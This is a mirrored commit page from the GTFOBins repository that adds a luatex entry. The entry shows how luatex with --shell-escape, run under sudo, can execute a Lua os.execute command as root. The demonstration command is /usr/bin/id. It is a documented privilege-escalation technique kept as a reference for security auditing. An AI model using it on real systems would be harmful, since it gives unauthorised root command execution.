mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
fd30994f8a
Add luatex.
384 B
384 B
description: luatex
allows to call external lua
scripts.
functions:
sudo:
- code: |
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
echo 'os.execute("/usr/bin/id")' > runfunc.lua
luatex --interaction=nonstopmode --shell-escape file.tex